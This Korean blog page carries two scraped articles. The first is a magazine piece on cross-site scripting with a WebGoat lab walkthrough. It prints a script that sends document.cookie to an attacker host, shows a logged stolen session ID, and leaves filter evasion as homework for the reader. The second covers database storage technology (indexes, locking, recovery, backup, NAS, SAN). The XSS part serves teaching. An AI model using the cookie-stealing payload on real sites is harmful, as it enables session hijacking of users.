쿠키를 리모트에서 빼내기 위한 로거(logger)이다. Perl로 작성되어 있고 제대로 작동하기 위해서는 인자를 제대로 넘겨주어야 한다. 첫 번째 인자는 바인딩할 포트이고 두 번째 인자는 클라이언트를 리다이렉션시킬 페이지이다. 그럴 듯한 페이지로 리다이렉션시킨다면 사용자는 XSS가 일어난 사실조차 모를 수도 있다.

쿠키훔치기

WebGoat을 사용한 테스트
WebGoat는 OWASP에서 만든 웹 애플리케이션 보안 교육용 시스템이다. PC나 리눅스 등에 간단히 설치해 웹 브라우저를 사용해 보안에 관한 여러 지식들을 체계적으로 습득하고 실제 테스트해 볼 수 있다. 이 툴을 사용해 XSS에 대해서 아주 간단한 테스트를 진행했다.

설치하기
<화면 1> 인스톨 초기 화면
WebGoat를 설치하는 과정은 다음과 같이 순차적으로 진행하면, <화면 1>과 같이 인스톨이 시작된다. 디폴트 옵션을 사용하도록 하고, 파일을 겹쳐 쓸지 물어보면 겹쳐 쓰도록 한다.


[1] Prerequisite
다음 두 파일을 다운로드한다.
- j2sdk-1_4_2_05-windows-i586-p.exe 파일을jdk 사이트(http://java.sun.com/j2se/1.4.2/download.html)에서 다운받는다.
- http://cvs.sourceforge.net/viewcvs.py/*checkout*/owasp/webgoat/dist/
install_WebGoat-3.0_windows.jar?rev=1.4

[2] JDK 인스톨
JDK를 인스톨한다. 표준적인 옵션을 사용한다.

[3] WebGoat 인스톨
install_WebGoat-3.0_windows.jar을 이미 인스톨한 jdk를 사용해 인스톨한다. 환경 변수를 맞추고 진행한다.

set JAVA_HOME=C:\j2sdk1.4.2_05
java -jar install_WebGoat-3.0_windows.jar

사용하기
아파치 톰캣 4.1을 메뉴를 통해서 실행한다. 다음과 같은 URL로 접근한다. guest/guest로 로그인하면 된다.

http://localhost:8080/WebGoat
/attack

<화면 2> 톰캣 시작하기

<화면 3> WebGoat으로의 로그인<화면 4> guest로 로그인

XSS 테스트
<화면 5>와 같이 XSS 스크립트를 입력한다. 게시물을 확인한 결과 <화면 6>과 같이 XSS가 발생했다. 그 다음 항목인 반응성 XSS를 테스트한다. <화면 7>과 같이 XSS 스크립트를 입력한다. 폼을 서브밋하자마자 <화면 8>에서와 같이 XSS 스크립트가 실행된다.

<화면 5> XSS 테스트 화면<화면 6> XSS 결과

<화면 7> XSS 데이터 입력<화면 8> XSS 발생

쿠키 훔치기
alert는 단지 사용자의 화면에 내용을 뿌려주는 함수로서 공격자에게 아무런 정보도 주지 않는 단지 검증을 위한 코드이다. 실제로 쿠키를 빼돌릴 수 있는지를 다음과 같은 스크립트를 사용해 테스트해 본다.

<script>document.location.replace
('http://10.1.1.1:8080/cookie.cgi?'+document.cookie+'&'+document.URL);
</script>

<그림 3>과 같은 쿠키 훔치기 시나리오를 사용한다. 먼저 로거를 공격자의 시스템에서 동작시킨다(<화면 9>). <화면 10>과 같이 게시판 시스템에 XSS 스트링을 입력한다. 공격 대상이 메시지를 확인한다(<화면 11>). 공격 대상의 웹 브라우저에서 페이지 리다이렉션이 일어난다(<화면 12>). 다음은 이런 과정을 통해 얻어낸 쿠키를 포함한 로깅 데이터이다.

<그림 3> 쿠키 훔치기 시나리오

<화면 9> 로거 바인딩<화면 10> 스트링 입력

<화면 11> 메시지 확인<화면 12> 페이지 리다이렉션

실제 쿠키 부분은 "JSESSIONID=C017B97A3E7981C027A1B6AA555A064E" 이다. 이 쿠키를 이용해 해당 사용자의 세션을 훔쳐내는 것이 가능하다.

From: 10.1.1.100
GET /cookie.cgi?JSESSIONID=C017B97A3E7981C027A1B6AA555A064E&
http://localhost:8080/WebGoat/attack?Num=31 HTTP/1.1^M
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shock
wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*^M
Accept-Language: ko^M
Accept-Encoding: gzip, deflate^M
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)^M
Host: 10.1.1.1:8080^M
Connection: Keep-Alive^M
^M

별거 아닌 것 같지만 치명적인!
이번 호에서는 가장 실생활에 영향력이 큰 주제 중의 하나인 XSS에 대해서 알아봤다. 아주 말도 안 되는 주제인 듯 하지만 실제로 이를 이용한 공격은 아주 치명적이다. 더 큰 문제는 이 취약점의 공격 대상이 모호해서 방화벽 등의 보안 솔루션으로는 방지하는 것 자체가 불가능하다는 것이다.

웹 애플리케이션 방화벽 등으로는 어느 정도까지 방지가 될지도 모르겠다. 스크립트 같은 자유도가 높은 패턴을 일일이 감지하는 것이 그렇게 만만한 일은 아닐 것이다. 그렇다고 모든 웹 애플리케이션들을 ‘XSS Free’로 만드는 것은 사실상 거의 불가능에 가까운 일이다. 어디에선가 문제가 발생할 소지가 반드시 있기 마련이다.

보안이라는 주제 아래에 여러 가지 서브카테고리가 존재한다. 결국 보안은 거의 모든 IT의 분야들이 서브카테고리로 포함된다. XSS는 웹 애플리케이션이라는 서브카테고리에 해당하는 보안 취약성으로서 최근에 유행했던 조류라고 볼 수 있다. 이렇게 별 것 아닌 것처럼 보안 취약성은 툭 튀어 나오지만 그 파장은 정말로 크고 가끔은 정보 인프라 자체를 위험에 빠뜨리기도 한다.

더욱 난감한 것은 그러한 취약점을 해결할 만한 솔루션이 즉각 나오는 것이 아니라 몇 년의 시간을 두고 시장에 나타난다는 것이다. 그 기간 동안 사용자들은 필연적으로 공격의 위험에 노출되게 된다. 그만큼 정보의 바다는 아직까지는 위험한 장소가 될 수밖에 없는 이유이다. 더구나 XSS 같은 경우에는 패치를 열심히 한다고 해결되는 것도 아니니 더욱 난감하기까지 하다.

결국 이러한 취약성의 발견과 해결의 과정들을 더 유연하고 빠르게 만드는 것이 보안 컨설턴트의 임무가 아닌가 한다. 참, 쿠키 탈취 과정에서 아마도 앞에서 소개한 쿠키 탈취용 스크립트가 입력되지 않을 것이다. 그 부분은 독자의 숙제로 남겨 두겠다. 기존의 스트링에 조금 변형을 줘야 한다. @

* 이 기사는 ZDNet Korea의 자매지인 마이크로소프트웨어에 게재된 내용입니다.

'IT' 카테고리의 다른 글

XSS(Cross Site Scripting)  (0) 2007.11.13
Data Profiling  (0) 2007.11.13
데이터 저장 기술  (0) 2007.11.11
SCTP란?  (0) 2007.11.11
5T산업 ==> 6T산업  (0) 2007.11.07
IT
posted by 구름너머 2007. 11. 11. 17:43
본문스크랩 데이터 저장 기술 IT

2007/11/11 17:42

http://blog.naver.com/damool2/40044178701

출처 블로그 > 大道無門
원본 http://blog.naver.com/karami74/70003003418

데이터베이스 관리시스템은 기본적으로 대용량의 데이터를 효율적으로 저장 하고 관리할 뿐만 아니라 여러 사용자가 동시에 접근할 수 있는 환경을 제공하 고 시스템의 고장에 대비하여 데이터베이스의 상태를 일관성 있게 유지하는 회 복 기능을 제공한다. 데이터베이스 관리시스템에 대한 사용자의 만족도는 데이 터의 저장기술과 관련된 시스템의 성능에 크게 좌우된다. 시스템의 성능은 데 이터베이스 내의 데이터를 표현하기 위한 데이터 구조의 효율성과 데이터에 대 한 연산을 얼마나 효율적으로 수행할 수 있는 지 여부에 달려있다. 자료저장 기술은 데이터베이스 시스템의 하부에서 데이터베이스 관리시스템의 성능을 좌 우하는 기술이다.
본 절에서는 먼저 기존의 Oracle, DB2, Informix 등의 데이터베이스 관리 시스 템에서 자료저장에서 사용되는 핵심 기술인 인덱스, 동시성제어, 회복기법에 대하여 설명하고, 최근에 자료저장 기술과 관련하여 비정형 대용량 데이터의 저장 기법과 백업 관련 기술, 그리고 저장시스템의 하부 인프라로 등장한 네트 워크 자료저장 시스템의 기술과 그에 관련 된 최신기술인 NAS, SAN, iSCSI, DAFS 등에 대하여 다룬다.

1. 데이터 저장 핵심 기술

가. 인덱스

인덱스는 인덱스를 구성하는 키의 순서가 유지되는지의 여부에 따라 크게 두 종류로 나눌 수 있는데, 키가 일정한 순서로 유지되는 트리 계열과 키의 순서 와 관계없이 무작위로 유지되는 해쉬 계열로 구분할 수 있다. 트리 계열 인덱 스는 일정한 범위가 주어지는 연산을 처리할 때 유용하게 사용될 수 있으며, 해쉬 계열 인덱스는 특정한 키에 의한 빠른 데이터 접근을 제공한다. 트리 계 열 인덱스로는 B+ 트리, T 트리 등이 있으며, 해쉬 계열 인덱스로는 체인 버킷 해슁(CBH, Chained Bucket Hashing), 확장 해슁(EH, Extensible Hashing), 선 형 해슁(LH, Linear Hashing), 수정된 선형 해슁(modified Linear Hashing), 다중 디렉토리 해슁(Multi-directory Hashing) 및 확장된 체인 버킷 해슁 (ECBH, Extensible Chained Bucket Hashing) 등이 있다. 최근에는 지리정보시 스템과 멀티미디어 데이터베이스 등에서 비정형 데이터의 검색을 위해 R-트리 계열의 인덱스 기법이 사용된다.

(1)디스크 기반의 데이터베이스 시스템을 위한 인덱스 기법
기존의 Oracle, DB2, Informix, Sybase 등의 디스크를 기반으로 하는 상용 데이터베이스 관리시스템에서 기본적으로 사용되는 인덱스 기법은 B-트리, B+ 트리, B* 트리 계열의 인덱스와 확장 해슁과 같은 해쉬 계열의 인덱스 가 대표적이다.
B 트리의 확장 및 변형된 형태로는 B+ 트리, B* 트리 등이 있으며, 특히 B+ 트리는 디스크를 기반으로 하는 데이터베이스의 인덱스를 생성할 때 가 장 많이 사용되는 기법이다. B+ 트리는 B 트리 형태인 인덱스 부분과 실제 데이터들이 유지되는 말단 부분으로 구성되는데, 인덱스인 내부 노드의 데 이터는 단지 빠르게 단말 노드를 찾아가는 길잡이 정도의 역할만 수행한 다. 모든 데이터를 단말 노드에 유지하고 단말 노드끼리 연결 리스트를 구 성함으로써 범위가 주어진 연산을 수행할 때 데이터에 대한 빠른 순차적 접근을 제공한다.
확장해싱(EH) 기법은 데이터의 양이 변화함에 따라 해쉬 테이블의 크기를 확장할 수 있게 함으로써 동적인 환경에 적합하도록 고안된 해슁 기법으로 빠른 데이터의 검색을 위해 많이 사용된다.

(2)주기억장치 상주 기반의 데이터베이스 시스템을 위한 인덱스 기법
Altibase나 Timesten과 같이 주기억장치 상주 기반의 상용 데이터베이스 시 스템에서는 트리 계열의 인덱스로 B-트리 계열의 인덱스와 함께 T 트리를 사용 하고 있으며, 해싱 기능으로는 확장 해슁과 체인 버킷을 결합해서 만든 확장된 체인 버킷 해슁을 지원하고 있다.
T 트리는 AVL 트리와 B 트리의 장점을 이용하여 주기억장치 상주 데이터베이 스를 접근하는 데 적합하도록 고안된 대표적인 트리 계열의 인덱스기법으로 한 노드에 많은 수의 데이터를 갖는 이진 탐색 트리로 구성되어 빠른 데이터 접근 을 제공하며 메모리의 사용상에도 장점을 갖는다. T 트리의 노드에 포함되는 데이터는 실제 키 값이 아닌 키를 포함하는 레코드의 메모리 주소를 나타낸다. 키를 포함하는 레코드의 메모리 주소를 데이터로 사용함으로써 키 값을 구하 는 연산으로 인한 부하가 전체 인덱스의 처리 속도에 거의 영향을 미치지 않는 상태에서 고정 길이 키에 대해서 뿐만 아니라 가변 길이 키를 처리할 때 발생 하는 메모리 사용의 낭비 문제도 해결할 수 있다.
확장된 체인 버킷 해슁(ECBH)은 Kairos에 구현된 주기억장치 상주용 인덱스 로서 확장 해슁과 체인 버킷을 결합해서 만든 해쉬 인덱스이다. ECBH 인덱스는 EH 테이블, CBH 테이블, RID 풀(pool)의 3 부분으로 구성되며, EH에서의 단말 페이지를 CBH의 해쉬 테이블과 RID 리스트로 대치한 형태를 갖는다.

(3) 멀티미디어 데이터베이스 시스템을 위한 인덱스 기법
멀티미디어 데이터는 특별한 형식이 없는 비정형의 구조를 갖는다. 즉 전통 적인 관계형 데이터베이스에서 다루는 레코드 형태와 같은 일정한 구조를 갖지 않고 긴 문장이나 연속된 비트 스트림 형태를 갖는다. 이러한 비정형 데이터를 효율적으로 저장하고 이에 대한 내용 기반 검색을 지원할 수 있는 저장 및 검 색 기법이 필요하다.
공간 데이터 액세스를 위한 인덱스 구조로서 R 트리, R* 트리, MLGF(Multi-Level Grid File) 등의 구조가 사용되고 있다. R-tree는 B-tree로 부터 유도된 계층적 자료구조로 트리의 각 노드는 자신의 자식 노드를 포함하 는 가장 작은 d-차원 사각형으로 구성된다. 단말 노드는 데이터베이스에 있는 자식을 포함하는 대신 실제 기하학적 객체에 대한 포인터를 포함한다. 객체들 은 그들이 포함된 최소의 정렬된 사각형에 의해 표현된다. 가끔 노드는 디스크 페이지와 관련시켜 트리를 정의하는 파라미터가 공간 질의 동안 적은 수의 노 드가 방문되도록 선택된다. 서로 다른 노드에 해당하는 사각형들은 중복될 수 있다.
R-tree는 B-tree와 유사하게 높이가 균형화 된 트리이다. 인덱스는 완전히 동적이기 때문에 주기적인 재구성은 필요 없으며, R-트리의 단말 노드는 인덱 스 레코드 개체들을 포함한다. R 트리는 k 차원의 공간 객체를 자르거나 변환 하지 않고 겹치는 k 차원의 사각형 영역 안에 객체가 완전히 포함된다. R* 트 리는 R 트리의 색인 구조와 같으며 중간 노드의 영역 사각형들이 겹치는 것을 허용한다. R 트리가 색인 구조를 최적화하기 위하여 한가지 기준만을 적용하여 영역 사각형의 면적을 최소화하는 것에 비해 R* 트리는 네 가지의 최적화 기준 을 적용한다.
R* 트리의 삽입 알고리즘은 R 트리의 삽입 알고리즘이 영역의 면적만을 고려 하는 데에 비하여 영역의 면적, 둘레, 겹치는 영역의 크기를 모두 고려하여 공 간 객체를 삽입할 최적의 단말 노드를 선택한다.

나. 동시성 제어 기법

(1) 기존의 동시성 제어 기법
여러 트랜잭션이 동시에 수행되는 경우 데이터베이스의 일관성을 해치는 경우가 생길 수 있다. 이를 방지하기 위해서는 수행의 동시성을 제어해야 한다. 수행의 동시 성을 제어하기 위하여 잠금 기법을 사용한다.
Oracle, DB2, Informix 등의 대부분의 상용 데이터베이스 시스템에서 사용하는 동 시성 제어 기법은 데이터의 로크(lock)를 이용하는 두 단계 잠금(2 phase locking) 기법을 기반으로 하고 있다. 2단계 로킹 규약은 직렬 가능성을 보장할 수 있는 규약 으로 가장 많이 알려진 것으로 모든 트랜잭션들이 잠금과 잠금 해제 연산을 트랜잭 션은 잠금만 수행할 수 있고 잠금 해제는 수행할 수 없는 확장단계와 트랜잭션이 잠 금 해제만 수행할 수 있고 잠금은 수행할 수 없는 축소단계로 구분된다. 그러나, 2단 계 잠금 규약은 직렬 가능성을 보장하지만 반면에 교착 상태 문제를 내포하고 있어 이에 대한 해결 방법이 필요하다.
2단계 잠금 규약을 기반으로 Oracle과 같은 상용 제품에서는 여러 사용자들의 잠 금의 기다림 시간을 최소화하면서 동시에 소요되는 로크의 수를 최소화하기 위하여 고안된 다단위 잠금(Multi-granularity locking) 기법이 사용된다. 기존의 데이터베이 스 시스템에서 다단위 잠금 기법을 위해 선택되는 단위들은 필드, 레코드, 블록, 데 이터베이스 등의 일반적이다. 단위를 너무 좁게 설정하면 작업의 동시성은 향상되나 잠금 처리에 소요되는 비용이 많으며, 단위를 너무 넓게 설정하면 잠금 처리에 소요 되는 비용은 적게 되나 작업의 동시성이 떨어지게 되므로 응용분야의 특성에 맞는 단위를 설정하는 것이 필요하다.

(2) 분산 잠금 관리
인터넷 웹서버와 같이 다수의 사용자가 이용하는 데이터베이스 시스템에서는 고성 능의 시스템이 요구된다. 이러한 고성능의 요구를 만족하기 위해서 여러 대의 시스 템이 데이터베이스 서비스를 제공하는 병렬 서버와 클러스터 서버가 등장하게 되었 고 이러한 병렬서버와 클러스터 서버에서는 분산 서버간의 잠금의 관리를 위해서 분 산 잠금 관리자(Distributed Lock Manager, DLM)를 이용한다. Oracle의 병렬서버에 서는 DLM을 이용하여 병렬 서버가 모든 플랫폼에 걸쳐 다양한 기능을 제공할 수 있 게 되어 있으며, 서버의 성능 향상을 위해 여러 특징이 추가되었다. DLM은 데이터 잠금 정보가 노드를 통해 분산되는 것을 막기 위해 잠금 정보를 캐시에 저장하고, 충돌 블록에 대한 액세스를 통제할 수 있는 알고리즘이 제공되어 시스템 부하의 균 형을 이룰 수 있다.
분산 잠금 관리자의 중요 기능으로는 병렬 서버의 한 개 노드에 장애가 발생했을 때, 장애가 발생한 노드에서 수행되던 사용자 접속이 정상인 다른 노드의 세션으로 옮겨지며 접속이 자동으로 재확립되는 장애 복구(fail-over)기능이 있으며, 애플리케 이션 장애 복구는 시스템의 가용성을 높일 뿐 아니라 수동적인 부하 조절이나 강제 적인 시스템의 정지에도 효과적으로 사용될 수 있다.

다. 회복 기법

기존의 상용 데이터베이스 시스템에서 대부분이 로그 기반의 회복기법을 사용하고 있으며, 트랜잭션의 수행시간의 지연을 최소화하기 위해 로그를 위한 디스크 입출력 횟수의 최소화와 고장이 발생한 경우 신속한 시스템 회복을 목표로 하고 있다. 이를 위해 데이터베이스 시스템에서는 검사점(Checkpoint) 기법을 이용하여 로그의 양을 줄임으로서 회복의 시간을 빠르게 하고 있다. 대용량 멀티미디어 데이터베이스 시스 템 등에서는 자료의 효율적인 회복을 위하여 기본정보의 변화만을 수행기록으로 남 기고, 자료의 내용은 그림자 페이징 기법(Shadow-paging) 기법을 이용하여 이전 자 료의 내용을 디스크 내에 남아있게 한 후에 회복 시 그를 이용하고, 회복의 필요가 없을 경우 검사점이 수행되는 시기에 그를 삭제하는 방식 등의 별도의 처리과정이 행해지게 된다.
그림자 페이징 기법은 기본적으로 로그를 이용하지 않는다. 데이터베이스는 페이 지라는 일정한 크기의 블록으로 나뉘어 디스크에 저장된다. 페이지라는 용어는 운영 체제의 메모리 관리 기법에서 사용된 용어이다. 그림자 페이징 기법은 트랜잭션이 실행되는 동안 현재 페이지 테이블과 그림자 페이지 테이블의 두 페이지 테이블을 이용한다. 트랜잭션이 시작될 때에는 이 두 페이지 테이블은 동일하다. 트랜잭션이 실행되는 동안 현재 페이지 테이블만 사용하고 그림자 페이지 테이블은 사용하지 않 는다. 트랜잭션이 쓰기 연산을 수행할 때 현재 페이지 테이블만 변경한다. 판독과 기 록 연산을 위해 디스크 상에 존재하는 데이터베이스 페이지 블록을 찾을 때에도 현 재 페이지 테이블만 사용한다. 따라서, 그림자 페이지는 전혀 변함없이 트랜잭션 실 행 이전의 상태를 유지한다.

2. 최신 데이터 저장기술 및 현황

가. 비정형 대용량 데이터의 저장

멀티미디어 데이터는 기존의 문자와 수치 데이터와는 비교가 안 될 정도로 큰 용량 의 기억장소를 요구한다. 따라서 멀티미디어 데이터베이스는 데이터를 저장할 때 압 축 및 복원 기법을 필수적으로 사용해야 하며, CD-ROM과 같은 대용량의 저장 장치 와 다양한 저장 장치의 관리가 필요하다. 데이터의 압축 및 복원 기법으로서 널리 사 용되고 있는 기법은 이미지 데이터를 압축하기 위한 JPEG기법과 비디오 데이터를 압축하기 위한 MPEG기법으로, 국제적으로 널리 사용되고 있으며 많은 연구가 진행 중에 있다.
데이터베이스 내에 멀티미디어 데이터를 저장하고 관리하는 방법으로 우선 레코드 형태의 정형화된 데이터는 관계형 데이터베이스에 저장하고 이미지, 그래픽스 등 비 정형 데이터는 파일에 저장하는 방법과 이미지, 오디오, 텍스트 등 크기가 크고 가변 적인 데이터를 긴 자료 항목으로 저장할 수 있는 저장 기능을 제공하는 방법이 있다. 이러한 시스템들은 기존의 관계형 데이터 모델로 멀티미디어 응용을 지원하기 어려 운 점들을 해소하기 위하여 BLOB(Binary Large OBject)과 같은 기능을 가진 확장된 모델을 제공한다.
현재 관계형 DBMS 회사들이 자신의 제품에 멀티미디어 기능을 갖도록 확장한 제 품들을 여러 개 발표하였는데 그 예로는 Informix-OnLine, Oracle 9, Sybase 등이 있다. 국내에서는 관계형 DBMS 자체에 대한 상품화가 제대로 안된 실정에 있지만, 삼성전자에서 관계형 DBMS인 CODA를 개발하면서 BLOB을 이용하여 멀티미디어 데이터베이스를 지원하는 시제품을 1994년에 개발한 바 있으며, ETRI에서는 "바다" DBMS에도 BLOB 기능을 추가하였다.
특히, Oracle에서는 이미지, 사운드, 비디오텍스트와 같은 비정형 데이터를 저장하 기 위한 기반 타입으로 CLOB(Character LOB), BLOB (Binary LOB), 그리고 BFILES(데이터베이스 외부에 저장되는 LOB) 등이 있다. BLOB, CLOB 타입의 데이 터는 데이터베이스 내의 지정된 테이블 공간에 저장된다. 반면 BFILE 데이터는 데이 터베이스 밖의 운영체제가 관리하는 파일 시스템 내의 특정 디렉토리에 저장할 수 있다.
또한, Oracle9i R2에서는 Oracle Internet File System을 제공하여 인터넷을 위주로 한 기업의 데이터를 하나의 저장소에 병합할 수 있도록 해준다. Oracle Internet File System에서는 저장소에 저장된 문서를 사용자들이 Windows, Web, FTP 등의 인터 페이스를 이용하여 접근할 수 있도록 파일과 폴더의 형태로 제공함으로써, 데이터베 이스 관리시스템의 파일 관리자의 기능을 운영체제의 파일 시스템의 기능을 포함하 도록 확장하였다.

나. 백업 기술

최근 들어 백업은 컴퓨터산업에서 정보의 중요성이 인식되면서 가장 각광을 받는 분야로 부각되고 있으며, 그 시장 규모도 크게 확장이 되었다. 기업에 전산과 관련된 비용 중에서 30~50%가 기업에서 발생하는 정보의 백업에 소요되는 비용으로 조사 되고 있으며, 특히, 미국의 9.11 테러의 발생 이후 백업기술은 재해복구 기술과 결합 하여 데이터베이스뿐만 아니라 볼륨, 파일, 그리고 응용프로그램 등에 발생되는 엄 청난 양의 데이터를 효과적으로 백업하고 복구하는 기능을 수행해야 한다.

(1) 백업의 유형
백업의 유형으로는 모든 데이터베이스나 파일시스템의 내용을 백업 받아 두는 방 법으로 내용의 변화의 유무에 관계없이 복사를 하는 완전(full) 백업, 선택된 파일이 나 폴더들의 변경된 부분만을 백업하여 복원을 할 때에 증분 백업을 한 모든 백업 데 이터파일 또는 모든 백업 테이프를 이용하여 복원하는 증분(incremental) 백업, 변경 된 파일의 전부를 저장하여 복원을 할 때에 맨 마지막날 차등 백업을 한 백업 데이터 파일 또는 백업 테이프만 있으면 복원을 할 수 있는 차등(differential) 백업, 그리고 백업 간격별로 단계를 정한 후 단계별로 다단계로 점진적인 백업을 수행하는 다중레 벨 증분(Multilevel incremental) 백업이 있다.
Oracle에서는 베리타스 소프트웨어사의 Net- Bakcup과 결합하여 제공하는 백업 기능 중의 하나로 이전의 특정 시점을 기준으로 현재 백업하고자 하는 시점까지의 작업 내용 중에서 단지 변화된 블록의 내용만을 백업하므로 백업되는 데이터의 크기 를 상당히 줄일 수 있다. 이로 인해 데이터 파일의 백업 시간을 대폭 줄일 수 있으며, 백업 간격별로 단계를 정한 후 단계별로 다단계로 점진적인 백업을 수행할 수 있다. 복구해야 할 경우에는 데이터베이스의 상태를 분석해 수행에 필요한 연산을 결정 한다. 이러한 조작을 자동으로 수행하므로 관리자가 작업에 들이는 수고를 덜어주고 복구 작업 시의 에러 발생 가능성을 최소한으로 줄여준다.

(2) 백업의 기법

(가) 서버리스 백업
SAN 백업 구성 시에 활용 가능한 방법으로 만일 백업서버가 동시에 웹 서버나 데 이터베이스 서버로 활용되고 있다고 가정해 보자. 백업을 수행하면 백업서버의 CPU 에 부하가 걸리게 된다. CPU 사용률이 적게는 30%에서 많게는 100%까지도 올라간 다. 이렇게 되면 웹 서버나 데이터베이스 서버로의 성능을 내기란 여간 힘든 일이 아 닐 수 없다. 그렇지만 서버리스 백업을 사용하는 경우에는 백업서버에서는 백업을 위한 명령만을 백업장치에 전달하고, 백업장치는 디스크 스토리지와 직접 백업 데이 터를 전송 받게 되고, 백업서버는 지정한 시간에 한번씩 백업 이상 유무를 확인하는 작업만을 수행하게 된다.
CPU의 사용률은 10% 전후가 되고, 서버의 또 다른 기능을 원활하게 사용하게 될 수 있게 된다. 물론, 서버리스 백업은 ISV에서 제공하는 백업 어플리케이션의 옵션으 로 구성되는 것이다.


(나) snapshot
온라인 백업은 일상의 업무 수행에 가장 영향을 주지 않기 때문에 24시간 가용성을 필요로 하는 데이터베이스에 알맞다. 그러나, DBMS는 백업 도중에 트랜잭션을 로깅 해야 하므로, 백업과 백업 후에 쌓인 트랜잭션을 실제 데이터에 적용해야 하기 때문 에 성능이 약간 저하된다. 볼륨 백업 시간을 최소로 하기 위해서, 고객들은 현재 한 볼륨을 snapshot으로 상용하여 그 snapshot 볼륨으로 백업을 받는 기능을 사용하 고 있다. 이때, 실제 볼륨은 신속하게 실제 운영에서 사용할 수 있게 된다.


(다) LAN-Free 백업
데이터베이스 시스템의 하부 인프라가 SAN과 같은 네트워크 기반의 시스템으로 구성이 된 경우는 파이버 채널로 구성된 별도의 SAN에 각 서버의 스토리지가 직접 연결되어 있기 때문에 백업을 위한 데이터의 이동을 파이버 채널을 이용하고 스토리 지간의 데이터 트래픽은 기존의 LAN을 사용하지 않는다. 따라서 시스템의 성능은 급격히 향상되는데, 이것은 데이터와 통신 트래픽이 더 이상 제한된 표준 LAN의 대 역폭에 대해 경쟁하지 않기 때문이다. SAN 환경에서는 스토리지의 리소스는 통합 관리되며, 다수의 서버에 의해 공유되어 사용될 수 있다. 또한 파이버 채널 스위치의 추가를 통해 SAN 솔루션은 쉽게 확장 가능하다.
SAN 환경에서 데이터가 지능적인 백업 애플리케이션을 통해 관리되도록 다양한 소프트웨어를 개발하고 있다. 기존의 백업 방식에 비해 LAN-Free 방식은 광채널 구 성요소를 설치하는데 많은 초기 투자비용이 들어가는 단점을 가지고 있다. 그러나 스토리지의 통합 및 중앙 관리는 전체소요비용을 크게 줄일 수 있어 궁극적으로는 기업에게 더 많은 이점을 안겨준다.

3. 저장 인프라의 발전 및 기술

인터넷의 폭발적인 성장, 온라인 상에서의 정보유지 필요성, 의사결정 지원 정보의 수집/추적에 대한 필요성, 서버 통합, 비즈니스 중심 어플리케이션으로 의 PC 서버 움직임, 그리고 어플리케이션의 복잡성 증가 등 다양한 요인들로 인해 현재 기업 규모의 시스템에서는 대용량 데이터베이스 시스템의 구축, 데 이터웨어하우스(Data Warehouse)의 구축, 그리고 ERP(Enterprise Resource Planning) 시스템 등의 도입으로 대용량 스토리지 시스템에 대한 요구가 계속 높아지고 있다. 이러한 높은 신뢰성과 성능, 장애 복구성(fault tolerance), 그리고 통합된 관리와 고속 백업이라는 요구에 대한 솔루션으로 등장한 인프라 가 바로 SAN(Storage Area Network)과 NAS(Network Attached Storage)로 대변 되는 네트워크 자료 저장 시스템이다. SAN과 NAS는 분산 네트워킹에서 주류가 되고 있으며 조만간 데이터베이스 시스템의 위한 스토리지 부착 및 공유에 대 한 일반적인 방법이 될 것으로 전망되고 있다.

가. NAS

DAS는 서버와 외장형 스토리지 사이를 전용의 케이블로 직접 연결하는 것으 로 기존의 서버와 스토리지를 직접 연결하는 전통적인 방식이다. 만약 서버가 UNIX나 Linux서버와 같은 오픈 시스템이면 SCSI 케이블을 이용하여 연결하는 방법이다. 이러한 DAS는 저장된 데이터에 대한 서비스를 스토리지에 접속된 서 버가 처리해야 함으로 서버에 큰 부하가 발생한다.
NAS는 네트워크 접속용 스토리지로서 Ethernet과 같은 LAN 인터페이스를 통 해 네트워크에 직접 연결되는 새로운 개념의 데이터 저장장치로 네트워크 상에 서 서로 다른 이기종 플랫폼간의 효율적인 데이터 통합 사용과 기존의 서버-중 심형 스토리지와 같이 일반용 서버의 상위구조나 그 복잡함 없이 오직 데이터- 펌프(Pump Data : 스토리지 시스템 자체와 클라이언트간에 신속하게 바로 데이 터 전송이 이루어지는 것) 라는 데이터 처리의 목적만을 위해 최적화 된 데이 터-중심형의 데이터 전용 스토리지 시스템이다.
기존의 서버-중심형 방식과는 달리 NAS는 데이터 저장장치가 서버에 종속되 지 않고 독립적으로 네트워크에 직접 연결된다. 그 결과 사용자는 파일서버를 거치지 않고 필요한 데이터를 직접 NAS 저장장치를 통해 훨씬 빠른 속도로 접 근할 수 있다. 즉, 클라이언트에서 요구된 데이터의 저장/전송에 따른 네트워 크 로드(Load)는 서버로부터 분리되어 NAS에서 분담함으로써 상대적으로 네트 워크 상에서 서버의 성능은 향상되는 효과를 가져온다. NAS의 장점은 파일의 공유 기능이다. NAS의 파일서버가 NFS나 CIFS 프로토콜을 통해 여러 어플리케 이션 서버들 사이에 파일을 공유 할 수 있게 해준다. 현재 존재하는 파일 공유 솔루션으로는 NAS가 가장 안정적이라는 장점을 지닌다. 그러나, NAS는 데이터 의 전송에 LAN을 사용하므로 LAN이 불안정하거나 과부하가 발생한 경우에 성능 이 떨어진다는 단점을 지니고 있다.

나. SAN

SAN은 다양한 업무 프로세스로 분산되어 있는 저장장치를 통합 운영하여 업무의 효율성 증대, 인프라에대한 중복투자 방지 및 이기종간 데이터 공유를 목적으로 만들어진 서버와 저장장치간의 네트워크를 의미한다. 개별적으로 연결되어 있는 저장 시스템을 화이버 채널을 이용하여 별도의 전용 네트워크에 연결하여 집중 적으로 관리함으로써 데이터의 고속전송, 고 가용성, 확장성 및 공유 기능을 제공하 기 위한 시스템이다. [그림 4-9-2]는 SAN의 구조를 보여 준다.
SAN은 데이터베이스 관리시스템 및 트랜잭션 프로세싱 시스템처럼 일반적으로 자 체 대규모 데이터를 관리하는 고성능 애플리케이션에 적합하다. 모든 물리적 위치와 관련된 유연성과 특정 레코드나 작은 레코드 집합에 대한 빠른 접근에 초점을 맞추 고 있다. 이러한 어플리케이션은 파일수준의 공통 접근을 요구하지 않고 블록 수준 의 성능 및 제어를 요구한다. 데이터베이스 [그림 4-9-2] SAN의 구조 관리시스템에서는 블록 수준의 읽기와 쓰기를 요구하며 SAN은 이러한 요구를 충족시킬 수 있으며, 다양한 확장성을 제공함으로 급증하는 데이터의 용량과 관리를 충족시킬 수 있다.

SAN은 다음과 같은 장점을 지닌다.
- 고속의 전송속도(200MB / Full- duplex이상)
- 장거리 전송(100Km이상)
- 뛰어난 연결성과 확장성이 뛰어나다.(Over 16 Million)
- 용이한 Data 관리 - 용이한 통합 및 관리
- 저렴한 비용
- Multi-protocol Flexibility(SCSI, ESCON, IP)
- One active SAN another Standby(Fail Over)
